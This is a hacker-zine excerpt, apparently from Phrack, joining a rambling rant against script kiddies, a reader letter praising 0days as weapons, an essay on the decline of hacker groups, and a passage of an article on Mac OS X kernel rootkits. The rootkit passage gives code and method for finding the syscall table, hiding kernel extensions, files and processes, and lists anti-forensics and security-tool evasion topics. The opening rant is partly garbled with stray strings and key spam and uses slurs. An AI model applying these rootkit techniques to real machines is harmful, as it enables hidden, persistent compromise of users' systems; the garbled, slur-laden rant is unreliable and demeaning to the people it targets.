We've taken it to understand for quite some time that a script kiddie is not to be respected‑‑ and this is correct. One who seeks to increase their sense of fame over their passion‑‑ or, rather, that their passion ‑is‑ in fact their ego‑‑ can be considered a hacker in some way or another. But we should deny them this. We should simply lie. Kill the narcissist.

Is a child not a hacker because they only use Metasploit? Nay, say moms, for the child is a hacker because they know how to USE Metasploit. One cannot simply compromise Mordor even by executing AutoPwn‑‑ mom's tried. Mom failed. Mom is not a break‑in artist like a lot of her children. Mom can write exploits++ she simply sucks at executing them. (Or perhaps you don't know the exploits your mother is capable of. Trixy thingsies. ;) pop

Is a child a script‑kiddie because they use Metasploit? Nay, say moms, for the same reasons listed above‑‑ only a hacker would know what exploits to run where after perusing a system's entryways. A script‑kiddie gets upset at the lack of capable elegance of mashing buttons like a fucking retard.

(Hackers understand the dualism of words like retard and faggot. Skids don't.)

So are script kiddies hackers? Technically, yes. Logistically, fuck 'em.

[Alt+0153]

Why fuck them? Their ego gets in the way. It gets in their way. It gets in your way. It gets in the community's way.

The hacker community is one of this world's best communities for the sake of its strong desire for ego death. You know, killing attention whores? Quite a worthy past‑time of the hacker community. It deserves to be done more, really.

Ego death is the core of the hacker. Ego life is the core of the scriptkiddie. Ah... binary. <3)))O and Neurosis

Let's use furries as a metaphor. Are all furries egomaniacs? Selfish narciscists as a pox on the Internet? Of course not. Many furries are talented. In fact, you may just discover that furries are thef auna of the Internet. (They rock the root servers. No joke. You know what I mean eyman.) Yet due to the nature of the furry community, there is an inherent plague of narcissism, of taking credit for the artists they so deistically worship. QUHTGLVHSQWIUHETHUEBHAOPQVNCPWET3220qalfafLHUEILW Erasure.) Indeed, these furries act as a metaphor for 4 four floor ceil float [F9] Good. These furries act as a metaphor for script kiddies. The skids.

(White Mantis is a very good furry artist...)

Skids narcissistically take advantage of your artwork and pretend to praise you for it. Of course, they never praise you‑‑ they're badass ahckers because they take advantage of you. And you poured your heart out into that exploit too, didn't you? You stumbled into that bug and you travelled to the darkest depths of the kernel for months‑‑ even years!‑‑ to understand not only how to discover its presence, but equally, to harness it, to throw a saddle on that dragon and ride it to root.

And they ‑bragged‑ about it? They smugly proclaimed their power because of ‑your‑ research? Then they turned around and asked you, hey, where's the next one? Man, that hit you gave me last time, gosh, that was so powerful, so verys trong, may I have another and steal the fame you don't even want you fucking nerd?

Skids aren't inherenty white‑hats, no. But lots and lots of white‑hats? Yeah. Fucking skids.

White‑hats have a desire to defend. But too many of them are drowning in the mammal sauce (https://www.youtube.com/watch?v=_MbhPWud8kM) of their

exceedingly egotistical bullshit. Another metaphor could be said here, but darlings, live for the swarm. StarCraft leak.

White‑hats are not your enemy. This community needs defenders. Defenders are the dualism to attackers. A good defender can stop a good attacker and bring everything to a standstill. You know the scene: https://www.youtube.com/watch?v=5oPsvq81n2A

Defenders assist your existance. Attackers assist your existance. For in this community, we are one and or other but not xor: a ternary system. Attack defend and blend.

Your enemy are the skids. Kill the skids by overdosing them. Taunt them. But you must first give them the opportunity to kill their ego. For the best hackers k https://www.youtube.com/watch?v=S0JfwiHjVIg [F9] [F9] [F9]

u mad bro[F9] [F9] [F9] [F9] [F9] [F9] [F9] [F9] [F9] [F9]

Hehe. Good. :)

For the best hackers have killed their egos. All that's left is the id... and the superego.

More powerful than a white‑hat!

Faster than a screaming zero‑day!

Mom didn't watch much SuperMan... but you get the point. :)

The hacker community is so very diverse and wonderful. And it's all because the true tinkerers of this community ahve found a variety of ways to slaughter egos. Those egos that can't be killed with kindness and through coersion? Well... you've read ZF0.

I'd like to remix something for you:

http://teacher.scholastic.com/activities/immigration

timeline_photos/1892_small_fullsize.jpg

>>> Give us your packers, your crackers, your exploit authors and strange >>> artists, your Jolt‑chugging CTF players competing just to play. The >>> Mr. The Plagues spreading the plagues of their obfuscated payloads. >>> Kill these, your egos, the tempest‑noise of your science, we bite our >>> thumb at thee who does not see my children are brilliant. And deserve >>> steak.

Kill the skids. And ask your local kids: who the fuck are dids? For they are tit‑for‑tat and one in the same rhythym..

‑‑‑‑

Shouts: Fuck shouts. This is for all of you. :)

Haters: I love you. Refute me with your wicked science.

Closing notes:

WATCH

MISTER

ROBOT

VERY

CLOSELY

Take note of the inconsistencies. They're fun. Like... well. :)

First: https://www.youtube.com/watch?v=Wru2aDvmpT0

In conclusion: https://www.youtube.com/watch?v=zAB5AC9yhY0

And: https://www.youtube.com/watch?v=D9RfSYOfKD0

Ellipses.

====MOM FROM MESSAGE BEGIN====

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x03 ‑ The P0 mailz ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

[ We received a lot of mails related to P0. Not sure why, we have nothing to do with them. We publish one of them here. ]

From: patagonico

Subject: P0

I think this can be separated in two parts: Tech and non‑tech Technical: Finding bugs in a huge codebase that is 20 year old is moot. It's like giving the proverbial fish. The codebase will always stay hungry, and buggy. You needed to teach the developers to fish bugs, 20 years ago. Software protections and automatic tools help, but you cannot protect for logical flaws or injections. Also, for each bug you find, devs introduce 1000. Bug hunters will be always outnumbered.

Non‑tech: Moral high horse of good hackers is a physiological testosterone‑induced illusion whose main objective is to establish a dominance hierarchy and help you have sex and pass your genes. It does not work. There are no girls in infosec. The girls in infosec are men. It is good or bad to report bugs? time will tell. Too a complex system to make any predictions now. It might be better to live in a world where weapons are outdated and countries attack each other with 0days. You see what a bomb does to a kindergarten? 0days do not do that. 0days are elegant weapons, for a more civilized age.

The Fall of Hacker Groups

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x06 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Fall of Hacker Groups ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by: Strauss ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ strauss@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

0 ‑ Intro

1 ‑ Background

2 ‑ Nowadays

3 ‑ Conclusion

4 ‑ Shouts

5 ‑ References

6 ‑ Notes

‑‑[ 0 ‑ Intro

The earlier, bigger part of hacking history often had congregations as protagonists. From CCC in the early 80s to TESO in the 2000s, through LoD, MoD, cDc, L0pht, and the many other sung and unsung teams of hacker heroes, our culture was created, shaped, and immortalized by their articles, tools, and actions.

This article discusses why recently we do not see many hacker groups anymore, and why the ones we do, such as Anonymous and its satellite efforts, do not succeed in having the same cultural impact as their forefathers.

‑‑[ 1 ‑ Background

Hacking is, in its very essence, an underground movement. Those who take part on it have always been the ones who (ab)used technology in ways beyond the knowledge of the larger userbase. It is tightly linked to intense efforts in unveiling previously unknown information as well as in sharing these discoveries. These premises hold true for as long as we know hackers: since computers had barely no users up until the informatic massification of today.

The nature of the hacker interests intrinsically poses difficulties: growing knowledge on anything is hard. It requires heavy research, experimentation, and can turn into an endless journey if objectives are not carefully set. Just like in any field of scientific studies, it calls for a good amount of colaboration, an attitude which, luckily for hackers, was greatly enabled by the advent of computer networks and, most notably, the Internet.

Computer networks increasingly made it possible to transmit unlimited and uncensored information across their geographical extent with little effort, with little costs, and in virtually no time. From the communication development standpoint, one would expect that the events that followed the 80s to our days would lead to a geometric progression in the number of hacker communities. In effect, hacking has arguably grown. Hacker communities, definitely not. So what went wrong?

‑‑[ 2 ‑ Nowadays

We live in days of limited creativity. Moreover, as contraditory as it may seem, it looks particularly rare for creativity to arise from groups or teams. Communities, rather than individuals, should be more intellectually empowered to create, but lately we have been watching the force of the solo, the age of the ego. That, of course, when we do see anything that catches our attention for originality, which is an ever scarcer pleasure.

In "Time Wars" [1], Mark Fisher explains that post‑fordism has taken us to this catatonic inability to innovate. Our nearly obsessive compulsion for work consumes not only our time, in the literal form of labor hours, but our minds, by distracting us from everything else we could be doing otherwise. These distractions include our unceasing connection to ubiquous media (e.g. the frequent checks for new e‑mail, or accesses to social networks on mobile devices) as well as an increased concern with financial stability and provisioning, a concern that grows as welfare is invariably trimmed by both the governments and the private sector.

It is important to note that our capitalist worries are more deeply rooted in us than might seem at first, even in the most politically diverse people. Supporting oneself is not easy, it does not come for free. Getting some education, finding a job, staying up‑to‑date... regardless of what your aspirations are, whatever you feel obliged to do is probably a lot, already. And it likely involves a prevalence of "minding your own business".

The unsettlement created in our thoughts affects intellectual solidarity in even more severe ways than it does individual creation. Simply put, if it is already so difficult for one person to focus away from these "distractions" and into inspired productivity, let alone for a group to join in a true collective mind. The ties that bind collective‑minded parties together take dedication to build, and our egotistical concerns do not help (see note "A"). Not only is commitment required for the actual work to be accomplished, but also to identify the shared values and goals that enable true human connectivity.

Notice this does not concern _collaboration_ as much as it does _collectiveness_. Collaboration typically breaks down the creative process in a way it can be incrementally achieved with very self‑sufficient, individualistic contributions. Such is the case in most open‑source software projects. Roles are very well segregated so that a minimum of human integration is required, as far as most modern software development processes go, anyway. A true "hive mind" [2] cannot exist without the support from a stronger, more unisonant cognitive bond. Funny enough, the popular variants of LOIC, the DDoS tool used by "Anonymous", contain a "hive mind" feature (i.e. getting a target automatically from a given IRC server and channel and firing your packets against it). You wish it was that easy.

The concept of the "conscience collective" was first established by Emile Durkheim who, in his 1893 book "The Division of Labor in Society", expressed 'that the more primitive societies are, the more resemblances (particularly as reflected in primitive religion) there are among the individuals who compose them; inversely, the more civilized a people, the more easily distinguishable its individual members', as put by R. Alun Jones [3].

Well, following (or despite) the prosperous adoption of atheism and agnosticism as professed in the Internet and other popular media, it is understood that religious beliefs are in a low, taking a bit of what socities traditionally saw as a point of unity. In fact, there seems to be an ever growing search for uniqueness in the modern man, especially that from the apparently overpopulated metropolises (see note "B"). In this never‑ending crowd of interesting, outstanding personas, we want to shine somehow, to prove ourselves different and original. In the end, it turns into a pointless battle, against God‑knows‑who, for apparent singularity. Instead of reaching for the fellow man, we want to set ourselves apart, and thus, remarkable.

‑‑[ 3 ‑ Conclusion

Modern life nearly conspires against the collective. We are tormented by a relentless flow of information as well as the daily worries of an eternally insecure, unwarranted life. Furthermore, we dread the thought of being alike, of sharing multiple views and opinions. As such, we are turning progressively judgemental of who we should be partnering with, on the basis that "they do not understand". In hacking, it yet implicates on the delicate subject of trust, which would require an essay on itself, given the undeniable importance the matter has acquired over the years.

If our thoughts on creating hacker groups were to be summarized, this is how they would look: No one ever feels like we do. They are not to be trusted and we do not have the time for them. The only attitude consonant to our search for a comfortable, safe life is to constrain ourselves to our own limitations, ignore the intelligent life out there, and surrender to the mediocracy that our society has condemned our leisure time to.

‑‑[ 4 ‑ Shouts

My only acknowledgements go to whoever reads this through and puts his/her thoughts to it. I eagerly await for your comments.

‑‑[ 5 ‑ References

[1] "Time Wars", Mark Fisher ‑ http://www.gonzocircus.com/xtrpgs/

incubate‑special‑exclusive‑essay‑time‑wars‑by‑mark‑fisher/ [2] "Collective Consciousness", Wikipedia http://en.wikipedia.org/wiki/Collective_consciousness

[3] Excerpt of "Emile Durkheim: An Introduction to Four Major Works", Robert Alun Jones ‑ http://durkheim.uchicago.edu/Summaries/dl.html

‑‑[ 6 ‑ Notes

A) In respect to social networks, while they are a valid community‑building mechanism in nature, selfishness prevails in common usage, by means of the indulgent pleasure that fuels chronic "pluggedness", at times voyeur, at times exhibitionist and needy.

B) It is arguably the case, though, that the globalizing aspect of the Internet has brought the feeling of upsetting commonality to the citizens

Revisiting Mac OS X Kernel Rootkits

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x07 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Revisiting Mac OS X Kernel Rootkits ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ fG! <phrack@put.as> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ The classic problems

2.1 ‑ What is new since Tiger

2.2 ‑ Sysent table discovery techniques

2.3 ‑ Hiding the kext

2.4 ‑ Hiding files

2.5 ‑ Hiding processes

2.6 ‑ Modifying the syscall handler

3 ‑ Reading the filesystem from kernel land

3.1 ‑ Real short overview of VFS

3.2 ‑ The easy way ‑ Apple loves rootkit authors! 3.3 ‑ The more complex way

3.4 ‑ Solving kernel symbols

4 ‑ Executing userland binaries from the kernel

4.1 ‑ Writing from kernel memory into userland processes 4.2 ‑ Abusing (again!) dyld to inject and run code 4.3 ‑ Finding the place to execute the injection 4.4 ‑ Ideas are great, execution is everything

4.5 ‑ The dynamic library

4.6 ‑ Hiding our tracks

5 ‑ Revisiting userland<‑>kernel communication

5.1 ‑ Character devices and ioctl

5.2 ‑ Kernel control KPI

5.3 ‑ Ideas for our own alternative channels

6 ‑ Anti‑forensics

6.1 ‑ Cheap tricks to reduce our footprint

6.2 ‑ Attacking DTrace and other instrumentation features 6.2.1 ‑ FSEvents

6.2.2 ‑ kdebug

6.2.3 ‑ TrustedBSD

6.2.4 ‑ Auditing ‑ Basic Security Module 6.2.5 ‑ DTrace

6.2.5.1 ‑ syscall provider

6.2.5.2 ‑ fbt provider

6.3 ‑ AV‑Monster II

6.4 ‑ Bypassing Little Snitch

6.5 ‑ Zombie rootkits

7 ‑ Caveats & Detection

8 ‑ Final words

9 ‑ References

10 ‑ T3h l337 c0d3z

‑‑[ 1 ‑ Introduction

In Phrack #66, ghalen and wowie wrote about interesting OS X kernel rootkit techniques. That article is almost 4 years old and 4 major OS X releases behind. Today Mountain Lion is king and many of the presented techniques are not valid anymore ‑ Apple reacted and closed those "holes".

One hand is enough to count the number of known rootkits targetting Apple's OS. The most recent public release was Rubylin [2], a simple rootkit that works with Lion (v10.7) (if you can read Korean there is a very interesting memory forensics analysis at [3]).

The commercial spyware industry recently leaked DaVinci (aka OS.X/Crisis), a user/kernel rootkit with some interesting features and flaws [4]. There are rumours about FinFisher but no OS X leak happened yet. Everything else is too old and outdated.

The main goal of this article is to update public knowledge and introduce some "new" techniques so both offensive and defensive sides can improve. It is focused on the current version at the time of this writing, Mountain Lion, v10.8.2.

The defensive knowledge and available tools are still poor. I hope this article motivates others to invest time and resources to improve this scenario. It is quite certain that the offensive knowledge is significantly ahead.

I tried to make this article as complete as possible but there is so much to work to be done that it is a never‑ending story. Some of the proposed solutions can be improved or implemented in different and/or better ways. You are encouraged to improve or develop new approaches and of course publish them. I also like to learn from others ;‑)

I hope you enjoy this (long) journey.

fG!

‑‑[ 2 ‑ The classic problems

This section starts by introducing important changes made since Tiger. Then it discusses the old sysent retrieval techniques and their problems, and presents a solution compatible with past, current, and future OS X versions.

It continues with improvements to classic rootkit features ‑ hide and avoid (easy) detection. It must be noticed that these were developed before the in‑kernel symbol resolution technique to be presented later, so they might appear a bit unsophisticated. I think there is value in this knowledge and that is why it is described under the original conditions.

‑‑‑‑[ 2.1 ‑ What is new since Tiger

The easiest and many favourite's spot to hook the system calls is the sysent table ‑ just replace a pointer and we are set. Apple has been improving the defence of that "castle" by hiding the sysent table symbol and moving its location.

In Mountain Lion the table is now located in read‑only memory (not a big problem anyway). Syscall hijacking techniques like these can be easily found with basic analysis tools, but they are still interesting and useful for other purposes as to be shown later.

Another important change is that the kernel module list (kmod_info_t) is deprecated. Before, the kernel extension rootkit could be easily hidden from kextstat by manipulating this list. Now we must patch an I/O Kit OSArray class called sLoadedKexts to hide from tools that list loaded kernel extensions. Snare was the first to publicly discuss this issue, and the commercial spyware OS.X/Crisis the first (afaik) to implement it. Its technique will be later described.

Mountain Lion finally introduced kernel ASLR. It might be harder to develop and execute the necessary exploit to install the rootkit but after that it is (mostly) business as usual.

Up to Snow Leopard, Apple removed the symbol table from the kernel space so there was no easy way to solve non‑exported symbols inside the kernel extension or I/O Kit driver. This was changed in Lion by leaving the full __LINKEDIT segment in kernel memory but marked as pageable. Snare shows this in one of his posts [5] and rubilyn rootkit uses it. Beware that the formula they use has a small problem ‑ it assumes that the symbol table is located at the beginning of __LINKEDIT. This is true in Lion but not in Mountain Lion.

I will show you how a solution that is stable, simple, and compatible with all OS X versions. Too good to be true! :‑)

‑‑‑‑[ 2.2 ‑ Sysent table discovery techniques

As described in Phrack 66 article, Landon Fuller [6] was first to come public with a technique to solve the removal of exported sysent symbol. His technique is based on the distance between the (still) exported nsysent symbol (the number of entries in the sysent table, aka, number of syscalls) and sysent. The problem with this approach is that Apple can move the location of sysent between releases ‑ offsets will change and the rootkit will fail and expose itself. Not acceptable!

Lets illustrate this with an example, starting with Mountain Lion 10.8.2:

$ nm /mach_kernel | grep nsysent

ffffff8000839818 D _nsysent

The location of sysent can be found by disassembling the kernel and using one of the three functions that reference it:

‑ unix_syscall

‑ unix_syscall64

‑ unix_syscall_return

For 10.8.2 the sysent pointer will be located at 0xFFFFFF80008000D0 and the table located at 0xFFFFFF8000855840. Landon's formula does not apply here.

In Lion 10.7.5 we have:

$ nm mach_kernel_10_7_5 | grep nsysent

ffffff8000846ed8 D _nsysent

And sysent located at 0xFFFFFF8000842A40.

This confirms Apple moving around the pointer between different releases. Notice that all previous values are from kernel at disk so no kernel ASLR slide is included. The slide value will be disclosed whenever it is being used in the examples.

Another technique is described in The Mac Hacker's Handbook [7], released in 2009 and targeting Leopard.

On page 332 there is a code snippet that searches memory for "something that has the same structure as the sysent table.". The starting search point is the nsysent symbol, increasing the memory pointer to lookup and match sysent array elements.

That code snippet does not work with Snow Leopard because sysent array is located before nsysent symbol. It must be modified to support specific versions and releases.

These different examples demonstrate that Apple changes sysent location between releases. A stable rootkit requires an universal technique.

The second technique can be adapted to cover all cases. First we would scan memory addresses above nsysent and then below if initial search failed. If nsysent also stops being exported we would need to base the search in another symbol and continue the cat & mouse game.

The reference symbol problem can be easily solved using a feature of x86 systems, the interrupt descriptor table (IDT). The IDT "is used by the processor to determine the correct response to interrupts and exceptions." [8]. The traditional implementation of syscalls is done via interrupt 80. The response to this interrupt will be executed by a kernel function pointed to by the IDT. IDT's location can be obtained using the asm instruction "sidt" (store interrupt descriptor table register). It returns the table location so the next step is to find out the address of the interrupt 80 handler.

Once we have the interrupt 80 handler address we can find out the base address of the kernel. Kernel ASLR does not matter here because the handler address is always a valid kernel code location ‑ we are dynamically querying the system and not using fixed addresses. To find the kernel base address is just a matter of searching memory back for the magic value of the Mach‑O header ‑ 0xfeedfacf (64 bits) or 0xfeedface (32 bits).

One (curious) property of kernel ASLR implementation is that memory addresses in kernel and kexts Mach‑O headers already contain the ASLR slide, something that does not happen in userland ASLR'ed binaries. The header in userland binaries is never updated so it is not synced with the address where the binary is loaded at.

The next step is to process the Mach‑O headers and find out where the __DATA segment is located. The reason for this is that the sysent table is located in there ‑ we need to extract segment's start address and boundaries. Now it is just a matter of searching memory for something that matches the sysent table.

Are there any performance problems doing things like this? The sysent location is found in less than a second even on a 5 year old Core 2 Duo Macbook Pro. The performance impact can be considered meaningless.

This method was applied successfully when the first Mountain Lion developer preview became available and still works up to 10.8.2.

You can find its implementation in the included source code at the end. A userland version that uses /dev/kmem to extract the same information is available at [9].

What is the difference against using any other exported symbol instead of all the trouble with the interrupt handler? Honestly, it is just a matter of personal preference and technical "prowess". A symbol that breaks compatibility if removed could be used instead with very low risk of Apple changing it. Later, we will need to use at least one KPI so almost any symbol from it can be used as search's starting point.

Another solution is to use one MSR register involved in the SYSCALL instruction. A good candidate is the MSR register number 0xC0000082 (MSR_IA32_LSTAR), which contains the SYSCALL entrypoint.

One way to get its value in 64 bits is the following (ripped from XNU):

#define rdmsr(msr,lo,hi) \

__asm__ volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (msr))

static inline uint64_t rdmsr64(uint32_t msr)

{

uint32_t lo=0, hi=0;

rdmsr(msr, lo, hi);

return (((uint64_t)hi) << 32) | ((uint64_t)lo);

}

Calling rdmsr64(0xC0000082) will return the kernel address that will handle 64 bits syscalls via the SYSCALL interface. The register number 0x176 (MSR_IA32_SYSENTER_EIP) is the one we are interested at for 32 bits systems ‑ it is used for 32 bits syscalls via SYSENTER.

These are just a few possibilities to retrieve a valid address inside the running kernel and then find the start address of the kernel Mach‑O header and sysent location. The location of the Mach‑O header will be useful to compute the kernel ASLR value (the slide is stored in a kernel variable but its symbol is not exported!).

‑‑‑‑[ 2.3 ‑ Hiding the kext

As mentioned before, the kernel module list is deprecated in favor of a IOKit OSArray class called sLoadedKexts. This introduces a new problem: how to find its location since we are talking about IOKIT C++. The OS.X/Crisis spyware implemented an interesting solution. It leverages a simple IOKit method that references sLoadedKexts to find the object location.

The method is OSKext::lookupKextWithLoadTag [libkern/c++/OSKext.cpp]:

OSKext * OSKext::lookupKextWithLoadTag(uint32_t aTag)

{

OSKext * foundKext = NULL; // returned

uint32_t count, i;

IORecursiveLockLock(sKextLock);

count = sLoadedKexts‑>getCount(); <‑ use this location, for example for (i = 0; i < count; i++) {

OSKext * thisKext = OSDynamicCast(OSKext, sLoadedKexts‑>getObject(i));

if (thisKext‑>getLoadTag() == aTag) { foundKext = thisKext; foundKext‑>retain();

goto finish;

}

}

finish:

IORecursiveLockUnlock(sKextLock);

return foundKext;

}

There is no symbol resolution feature inside the Crisis kernel rootkit ‑ the symbol (__ZN6OSKext21lookupKextWithLoadTagEj) is solved by the userland component and sent to the rootkit module via a sysctl. The function that hides the rootkit starts by searching for the 0xE8 byte corresponding to the IORecursiveLockLock() call. All searches are done using hex patterns. It then uses fixed offsets to compute the location of the array and modify it. The provided source code reimplements this technique.

The search could be made easier (and portable?) by disassembling this method. The good news is that we can have a x86/x64 disassembler inside a kernel extension thanks to diStorm [19] (other libraries probably work but I'm a fan of diStorm, in particular after the introduction of the decompose interface). To statically compile diStorm just import the source and include files into your rootkit project. You also need to define SUPPORT_64BIT_OFFSET or uncomment it at config.h.

Assuming we have no method to find kernel symbols inside the rootkit (this will be later developed), we can use the disassembling engine to try to find the functions or methods that we are interested in. The whole __text section can be disassembled and searched for instruction patterns that are hopefully more stable than hex patterns.

Testing this approach I was able to find the method referenced above with a precision of 100% or 50%. The different rates depend on how strict are the search parameters due to some differences between compiler output in kernel versions. I'm talking about the number of calls, jmps, jnz, jae, which have small variations between some versions (compiler upgrades, settings, etc). The performance is amazing ‑ it takes 1 second to disassemble and search the whole kernel using a high‑end Intel i7 cpu.

The main problem of Crisis's approach is that it depends on fixed offsets inside the OSArray class. If anything changes it will break compatibility and potentially crash or expose the rootkit.

Disassembling the kernel is useful to find patterns and leveraging them in different cases. It is not perfect and does not solve all our problems but it is another helpful tool.

‑‑‑‑[ 2.4 ‑ Hiding files

Files are hidden by modifying (at least) three different syscalls: getdirentries, getdirentriesattr, and getdirentries64. Nothing new and thoroughly described before.

What usually happens is that only the filename is matched ‑ that is the information directly available from the structures available in those three syscalls. This means that a filename to be hidden will be matched in any folder, something that can raise suspicion if a common filename is used. With a small effort we can do better and learn something in the process.

Let's find out how to recover additional information to match specific file or folder locations. Target function is getdirentries64 but the concepts apply to the other two.

The structure that is commonly manipulated is:

struct direntry {

__uint64_t d_ino; /* file number of entry */

__uint64_t d_seekoff; /* seek offset (optional, used by servers) */

__uint16_t d_reclen; /* length of this record */

__uint16_t d_namlen; /* length of string in d_name */

__uint8_t d_type; /* file type, see below */

char d_name[__DARWIN_MAXPATHLEN]; /*entry name (up to MAXPATHLEN bytes)*/

}

The match is done against the field d_name, which only contains the current file or folder without the full path. This is the reason why most implementations only match the file anywhere in the filesystem.

Luckily for us, all syscalls functions prototypes contain the proc structure as the first parameter. It contains enough information to match the full pathname.

struct proc {

(...)

struct filedesc *p_fd; /* Ptr to open files structure. */

(...)

}

struct filedesc {

struct fileproc **fd_ofiles; /* file structures for open files */

char *fd_ofileflags; /* per‑process open file flags */

struct vnode *fd_cdir; /* current directory */

struct vnode *fd_rdir; /* root directory */

int fd_nfiles; /* number of open files allocated */

int fd_lastfile; /* high‑water mark of fd_ofiles */

(...)

};

For example, to display all the open files by an arbitrary process calling getdirentries64, we could use the following code:

void show_all_openfiles(struct proc *p)

{

// lock proc structure else we are asking for trouble

(*proc_fdlock)(p);

struct filedesc *fd = p‑>p_fd;

if (fd != NULL)

{

// for some reason fd_nfiles is not useful for this

int lastfile = fd‑>fd_lastfile;

// show all open files for this proc

for (int count = 0; count < lastfile; count++) {

// fd_ofiles is an array of fileproc that contains file structs

// for all open files

struct fileproc *fp = fd‑>fd_ofiles[count]; // we are only interested in files so match fg_type field

if (fp != NULL &&

fp‑>f_fglob != NULL && fp‑>f_fglob‑>fg_type == DTYPE_VNODE) {

// lock the vnode ‑ fg_data cast depends on fg_type

// type is vnode so we know fg_data will point to a vnode_t

(*vnode_lock)((struct vnode*)fp‑>f_fglob‑>fg_data); struct vnode *vn = (struct vnode*)fp‑>f_fglob‑>fg_data; if (vn‑>v_name != NULL)

{

printf("[%d] Filename: %s\n", count, vn‑>v_name); }

(*vnode_unlock)((struct vnode*)fp‑>f_fglob‑>fg_data); }

}

}

(*proc_fdunlock)(p);

}

The files listed by this function are not the files we want to hide but the files opened by the binary calling this syscall. This information can be used, for example, to find the path that a "ls" command is trying to list. The full path can be extracted manually by iterating over the vnodes of each file, or by using a KPI function (vn_getpath).

To build the path from vnodes, first we retrieve the vnode structure correspondent to the file and then iterate over up to the filesystem root ‑ each vnode has a reference to its parent vnode.

struct vnode {

(...)

const char *v_name; /* name component of the vnode */

vnode_t v_parent; /* pointer to parent vnode */

(...)

}

Each path component can be sequentially matched until v_parent == NULLVP, which means the filesystem root. If path matches what we want to hide then it is a matter of removing that entry from direntry array as usual.

To find the folder or file being listed we can use the following trick, which seems to hold true:

int lastfile = main_fd‑>fd_lastfile;

// lastfile has the information we are looking for

struct fileproc *last_fp = main_fd‑>fd_ofiles[lastfile];

The only word of caution is when shell expansion is involved. In this case last file entry name will be a "ttys" and we need to iterate fd_ofiles array looking for the previous element to "ttys" ‑ it is not lastfile‑1.

It looks complicated but it is not and just a matter of looking up the necessary information in kernel structures. The proc structure is extremely rich and a good starting point for many hacks. The biggest problem is being frequently changed between major OS X versions.

With so many kernel functions available it is almost certain there is already a function that will avoid us to build the path as described above. That function is vn_getpath() from bsd/sys/vnode.h.

/*!

@function vn_getpath

@abstract Construct the path to a vnode.

@discussion Paths to vnodes are not always straightforward: a file with multiple hard‑links will have multiple pathnames, and it is sometimes impossible to determine a vnode's full path. vn_getpath() will not enter the filesystem.

@param vp The vnode whose path to obtain.

@param pathbuf Destination for pathname; should be of size MAXPATHLEN @param len Destination for length of resulting path string. Result will include NULL‑terminator in count‑‑that is, "len"

will be strlen(pathbuf) + 1.

@return 0 for success or an error code.

*/

int vn_getpath(struct vnode *vp, char *pathbuf, int *len);

We still need to retrieve a vnode from the proc structure to use this function. To find the vnode we can use the lastfile trick to find the target path, retrieve its vnode and then use this function to get the full path.

A better solution is to hide your data inside other data files that can't be easily checksum'ed. Sqlite3 databases come to my mind [35].

‑‑‑‑[ 2.5 ‑ Hiding processes

The traditional way to hide processes is to remove them from the process list maintained by the kernel. When an application requests the process list, the rootkit intercepts and modifies the request. In this case, only the results are modified and the underlying structures are still intact. A rootkit detection tool can access those structures and compare with the results.

Another possibility is to remove the processes from the process list. This time a tool that is based on those structures information will not be able to detect the inconsistency because there is none (regarding only the proc list, because there is data in other structures that can be used to signal inconsistencies).

Due to OS X design, things are a bit more fun (or complicated) because the BSD layer runs on top of XNU layer. The basic process units are Mach tasks and threads and there's a one‑on‑one mapping between BSD processes and Mach tasks. The task is just a container and Mach threads are the units that execute code. What matters for this case is that there is an additional list where inconsistencies can be detected ‑ the Mach tasks list. Using an ascii version of nofate's diagram found at [3]:

proc <‑> proc <‑> proc <‑> ...

^ ^ ^ BSD

‑‑|‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v v v Mach

tasks <‑> tasks <‑> tasks <‑> ...

The version with a hidden process at the BSD layer:

proc <‑‑‑‑‑‑‑‑‑‑‑‑> proc <‑> ...

^ ^ ^ BSD

‑‑|‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v v v Mach

tasks <‑> tasks <‑> tasks <‑> ...

